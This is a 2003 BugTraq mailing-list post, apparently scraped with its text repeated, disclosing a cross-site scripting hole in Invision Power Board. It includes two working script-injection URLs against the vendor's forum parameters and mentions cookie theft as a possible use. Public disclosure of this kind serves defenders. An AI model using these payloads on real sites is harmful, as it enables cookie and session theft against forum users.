BugTraq
Back to list
|
Post reply
bug in Invision Power Board
Sep 09 2003 07:15PM
Boy Bear (eyal067 walla co il)
>I found possibility to run Script (java Script, VBScript) on the system
>Invision Power Board...
>It's possible to do if it much {many} things like a withdrawal of
>cookie,
>advertising ....
>
>
>For example:
>
>http://forums.invisionpower.com/admin.php?
>adsess='><script>window.open
>(window.location.search.substring
>(78));</script><http://binaryvision.tech.nu?
>BoyBear$$$From$$$BinaryVision
>
>
>
>
>
>BoyBear From BinaryVision ( http://binaryvision.tech.nu )
>
>http://www.securityfocus.com/archive/1/332461/2003-08-07/2003-08-13/0
The bug the previous fix but .....
http://forums.invisionpower.com/index.php?showtopic='><script>wind
ow.open
(window.location.search.substring(79))
</script>http://binaryvision.tech.nu?BoyBear$$$From$$$BinaryVision
BoyBear From BinaryVision ( http://binaryvision.tech.nu )
[ reply ]
Privacy Statement
Copyright 2010, SecurityFocus
>I found possibility to run Script (java Script, VBScript) on the system
>Invision Power Board...
>It's possible to do if it much {many} things like a withdrawal of
>cookie,
>advertising ....
>
>
>For example:
>
>http://forums.invisionpower.com/admin.php?
>adsess='><script>window.open
>(window.location.search.substring
>(78));</script><http://binaryvision.tech.nu?
>BoyBear$$$From$$$BinaryVision
>
>
>
>
>
>BoyBear From BinaryVision ( http://binaryvision.tech.nu )
>
>http://www.securityfocus.com/archive/1/332461/2003-08-07/2003-08-13/0
The bug the previous fix but .....
http://forums.invisionpower.com/index.php?showtopic='><script>wind
ow.open
(window.location.search.substring(79))
</script>http://binaryvision.tech.nu?BoyBear$$$From$$$BinaryVision
BoyBear From BinaryVision ( http://binaryvision.tech.nu )
[ reply ]